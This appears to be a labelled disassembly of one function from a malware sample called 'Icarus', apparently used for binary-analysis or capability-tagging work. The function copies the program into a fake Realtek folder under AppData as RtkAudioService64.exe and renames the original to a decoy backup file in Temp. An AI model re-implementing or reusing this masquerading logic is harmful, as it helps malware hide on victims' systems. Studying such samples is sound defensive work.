Function at 0x140011622
Capabilities:
Check if file exists
Copy file
Create directory
Get file attributes
Move file
Query environment variable

Disassembly:
jmp 0x140015520
push rbp
push rdi
sub rsp, 0xa08
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x1b6
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140024278]
xor rax, rbp
mov qword [rbp + 0x9c8], rax
lea rcx, [0x14002a21d]
call fcn.140011645
call qword [sym.imp.ucrtbased.dll___p___argv]
mov ecx, 8
imul rcx, rcx, 0
mov rax, qword [rax]
mov r8d, 0x104
mov rdx, qword [rax + rcx]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll__fullpath]
test rax, rax
je 0x140015598
lea rdx, [rbp + 0x30]
lea rcx, str._i__Obtained_path_to_current_file:__s_n_n
call fcn.1400112f8
mov ecx, 0x20a
call fcn.1400112ad
mov qword [rbp + 0x978], rax
mov rax, qword [rbp + 0x978]
mov qword [rbp + 0x158], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x30]
mov r8d, 0x105
mov rdx, qword [rbp + 0x158]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov r8d, 0x104
lea rdx, [rbp + 0x180]
lea rcx, str.USERPROFILE
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtekRtkAudioService64.exe
mov edx, 0x104
lea rcx, [rbp + 0x2b0]
call fcn.140011488
lea rdx, [rbp + 0x2b0]
lea rcx, str._i__Icarus_will_be_copied_to_this_path:__s_n_n
call fcn.1400112f8
mov ecx, 0x20a
call fcn.1400112ad
mov qword [rbp + 0x998], rax
mov rax, qword [rbp + 0x998]
mov qword [rbp + 0x3d8], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x2b0]
mov r8d, 0x105
mov rdx, qword [rbp + 0x3d8]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
mov rcx, qword [rbp + 0x3d8]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x14001579a
lea rcx, str._i__The_Icarus_file_do_not_already_exist__starting_procedure_to_creation_of_the_fake_Realtek_environment_n
call fcn.1400112f8
lea r9, [rbp + 0x180]
lea r8, str._sAppDataRoamingRealtek
mov edx, 0x104
lea rcx, [rbp + 0x400]
call fcn.140011488
mov ecx, 0x20a
call fcn.1400112ad
mov qword [rbp + 0x9b8], rax
mov rax, qword [rbp + 0x9b8]
mov qword [rbp + 0x528], rax
mov qword [rsp + 0x20], 0x104
lea r9, [rbp + 0x400]
mov r8d, 0x105
mov rdx, qword [rbp + 0x528]
lea rcx, [rbp + 8]
call qword [sym.imp.ucrtbased.dll_mbstowcs_s]
xor edx, edx
mov rcx, qword [rbp + 0x528]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, str.___Realtek_directory_created_n
call fcn.1400112f8
xor r8d, r8d
mov rdx, qword [rbp + 0x3d8]
mov rcx, qword [rbp + 0x158]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140015738
lea rcx, str._i__The_file_Icarus_has_been_copied_in_the_Fake_Realtek_environment_with_success._n_n
call fcn.1400112f8
jmp 0x14001574c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____Error_during_the_copy._Error_code:__lu_n_n
call fcn.1400112f8
lea r9, [rbp + 0x180]
lea r8, str._sAppDataLocalTempSystemBackup_2.92.bkf
mov edx, 0x104
lea rcx, [rbp + 0x550]
call fcn.140011488
lea rdx, [rbp + 0x550]
lea rcx, [rbp + 0x30]
call qword [sym.imp.ucrtbased.dll_rename]
test eax, eax
je 0x14001578e
lea rcx, str.____Error_during_renaming_of_file_n
call fcn.1400112f8
jmp 0x14001579a
lea rcx, str.___The_current_file_has_been_moved_to_the_path:_tmp_n
call fcn.1400112f8
lea rcx, [rbp - 0x30]
lea rdx, [0x14001f850]
call fcn.14001154b
mov rcx, qword [rbp + 0x9c8]
xor rcx, rbp
call fcn.140011316
lea rsp, [rbp + 0x9d8]
pop rdi
pop rbp
ret